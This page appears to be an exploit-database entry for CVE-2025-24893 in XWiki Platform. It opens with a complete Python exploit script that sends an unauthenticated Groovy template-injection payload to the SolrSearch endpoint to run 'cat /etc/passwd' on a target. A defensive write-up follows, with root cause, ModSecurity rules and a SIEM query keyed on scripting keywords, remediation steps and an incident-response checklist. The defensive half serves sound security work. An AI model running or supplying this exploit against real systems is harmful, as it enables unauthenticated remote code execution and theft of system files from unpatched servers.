XWiki Platform 15.10.10 - Remote Code Execution

Exploit Author: Al Baradi Joy Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-07 
# Exploit Title: XWiki Platform - Remote Code Execution
# Exploit Author: Al Baradi Joy
# Exploit Date: April 6, 2025
# CVE ID: CVE-2025-24893
# Vendor Homepage: https://www.xwiki.org/
# Software Link: https://github.com/xwiki/xwiki-platform
# Version: Affected versions up to and including XWiki 15.10.10
# Tested Versions: XWiki 15.10.10
# Vulnerability Type: Remote Code Execution (RCE)
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Description:
# XWiki Platform suffers from a critical vulnerability where any guest user
can
# execute arbitrary code remotely through the SolrSearch endpoint. This can
lead
# to a full server compromise, including the ability to execute commands on
the
# underlying system. The vulnerability impacts the confidentiality,
integrity,
# and availability of the XWiki installation. The issue has been patched in
XWiki
# versions 15.10.11, 16.4.1, and 16.5.0RC1.
# Proof of Concept: Yes
# Categories: XWiki, Remote Code Execution, CVE-2025, RCE
# References:
# - GHSA Advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j
# - NVD CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
# - GitHub Exploit Link:
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py

import requests

# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code
Execution")
print("Exploit Author: Al Baradi Joy")
print("GitHub Exploit:
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py")
print("="*80)

# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"

try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")

try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)

# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://",
"").replace("https://", "").strip())
exploit_url =
f"{target_url}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"

try:
print(f"[+] Sending request to: {exploit_url}")
response = requests.get(exploit_url, timeout=10)

# Check if the exploit was successful
if response.status_code == 200 and "root:" in response.text:
print("[✔] Exploit successful! Output received:")
print(response.text)
else:
print(f"[✖] Exploit failed. Status code:
{response.status_code}")

except requests.exceptions.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[✖] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https):
").strip()
exploit(target)


XWiki Platform 15.10.10 — CVE-2025-24893: Critical Remote Code Execution (RCE)

Overview

XWiki Platform versions up to and including 15.10.10 were disclosed to contain a critical remote code execution vulnerability (CVE-2025-24893). The issue allows unauthenticated (guest) users to trigger server-side script rendering via the SolrSearch endpoint, resulting in arbitrary code execution in the application context and potentially on the underlying host. The vulnerability was assigned a CVSS v3.1 base score of 9.8 (Critical) and has been patched in subsequent releases.

Quick facts

  • Affected software: XWiki Platform <= 15.10.10
  • CVE: CVE-2025-24893
  • Impact: Remote unauthenticated code execution, full server compromise
  • Patched in: 15.10.11, 16.4.1 and 16.5.0RC1 (and later)
  • Resources: Official GHSA advisory and NVD entry (see references section)

Why this is serious

An unauthenticated user being able to run server-side code breaks the core security model of any web application: confidentiality, integrity, and availability are all at risk. Successful exploitation can lead to data exfiltration, persistence, lateral movement, and complete control of the host environment.

Root cause (technical summary)

The vulnerability stems from unsafe server-side rendering of user-supplied content via the SolrSearch endpoint. XWiki supports several template and scripting backends (Velocity, Groovy, etc.) for content rendering and extension. When the search endpoint processed query input in a way that allowed template/script evaluation without proper sanitization or access control, an attacker could inject constructs that were evaluated by the server's script engine. This is a class of vulnerability commonly referred to as template-injection or server-side template injection (SSTI) that, when combined with powerful scripting backends, leads to remote code execution.

Impact & use cases

  • Compromise of wiki content, revealing internal documents and credentials.
  • Execution of arbitrary OS commands from the application context.
  • Deployment of webshells, backdoors, or other persistence mechanisms.
  • Pivoting to other systems inside the same network.

Detection and indicators of compromise (defensive guidance)

Detection should focus on identifying unusual requests to the SolrSearch endpoint, unexpected rendering features present in query strings, and inbound requests containing scripting keywords (for example: groovy, velocity, template engine markers). Monitor application logs and webserver access logs for anomalous traffic patterns.

  • Unusual GET requests to paths such as /bin/get/.../SolrSearch with uncommon query parameters.
  • Requests containing scripting-related keywords in query parameters or path elements.
  • Sudden or repeated requests from single IPs targeting search endpoints.
  • New or unexpected files on disk, new processes spawned by the application user, or network connections to unusual external hosts.

Example defensive detection rules and SIEM queries

The examples below are defensive: they search for exploit attempts and block or alert on suspicious patterns. Do not include or run exploit payloads; use these only to detect potential attack attempts.

# Example (ModSecurity) rule to detect suspicious SolrSearch requests that include scripting keywords.
# This rule logs and blocks matching requests. Adjust severity and actions to suit your environment.
SecRule REQUEST_URI|ARGS "@rx (?i)solrsearch" "id:1001001,phase:1,deny,status:403,log,msg:'Potential SolrSearch template injection attempt',severity:2"
SecRule ARGS|REQUEST_URI|REQUEST_HEADERS "@rx (?i)(groovy|velocity|template|#\{|#\(|\${)" "id:1001002,phase:1,deny,status:403,log,msg:'Scripting keyword in request — possible template injection attempt',severity:2"

Explanation: The ModSecurity example looks for requests targeting the SolrSearch endpoint and for scripting-related keywords in any argument, header, or URI. These rules are defensive and meant to reduce exploitation risk by blocking suspicious requests.


# Example (Kusto, Azure Sentinel) query to find potentially malicious SolrSearch access patterns in web server logs
// Search for requests to SolrSearch that contain script-engine keywords
AppRequests
| where RequestUrl has "SolrSearch"
| where RequestUrl has_any ("groovy","velocity","${","#{" )
| project TimeGenerated, ClientIP, RequestUrl, UserAgent

Explanation: This SIEM query identifies requests that target SolrSearch and contain scripting keywords; investigate results for malicious activity.

Remediation and mitigation

Immediate steps for administrators and defenders:

  • Patch immediately: Upgrade XWiki to a fixed version: at least 15.10.11, or any later 16.x release that contains the patch (16.4.1, 16.5.0RC1 and later stable releases).
  • Restrict external access: If patching is not immediately possible, restrict access to the XWiki instance (VPN, allowlist IPs, or firewall rules) to prevent unauthenticated external access to the SolrSearch endpoint.
  • Harden guest privileges: Ensure anonymous/guest accounts have minimal privileges; avoid exposing search endpoints that render rich content to unauthenticated users.
  • Disable dynamic scripting where possible: If you do not require server-side script rendering (Groovy/Velocity) for anonymous content, disable or restrict those features until patched.
  • Deploy WAF rules: Implement the defensive ruleset examples above in your Web Application Firewall to block or alert on suspicious requests.
  • Audit and response: Treat any signs of exploitation as a potential full compromise. Perform host-level forensic analysis, rotate credentials, and rebuild affected hosts if signs of persistent compromise are found.

Safe verification and version-checking

Administrators can safely verify whether their XWiki installation is one of the affected versions without attempting exploit payloads. Two safe approaches:

  • Check the application version through the administration console or About page inside XWiki (accessible to administrators).
  • Inspect the deployed application package or manifest (for example, check your deployed WAR file version or your package manager metadata) rather than probing the web interface with payloads.

Incident response checklist

  • Isolate the affected instance from the network.
  • Collect application logs, webserver logs, and system logs for the suspected timeframe.
  • Search logs for suspicious requests to SolrSearch and any payload-like contents.
  • Look for unusual processes, new user accounts, scheduled tasks, or unexpected open network connections.
  • Rotate all credentials used by the application and privileged accounts that may have been exposed.
  • Consider a full rebuild of the server from a known-good image if you detect signs of compromise.

Long-term hardening & best practices

  • Keep XWiki and all platform dependencies updated and apply security updates promptly.
  • Minimize public-facing features: avoid exposing advanced rendering or plugin endpoints to unauthenticated users unless absolutely needed.
  • Use defense-in-depth: network segmentation, WAF, CSP, runtime application self-protection (RASP), and least privilege for application accounts.
  • Implement strong logging and centralized monitoring so anomalous behaviors are detected quickly.
  • Conduct regular dependency scans and security testing (SAST/DAST) on web applications and plugins.

Responsible disclosure and timeline

Vulnerability disclosure followed standard responsible disclosure practices. The vendor released patches and advisories; operators should follow vendor guidance and use the official XWiki site and repository for patched releases.

References

Final notes

This article focuses on defensive guidance: identifying potential attempts, mitigating exposure, and remediating vulnerable systems. Do not attempt to exploit or probe third-party systems. If you believe you have found this vulnerability in a system you do not own, contact the site owner or follow responsible disclosure channels.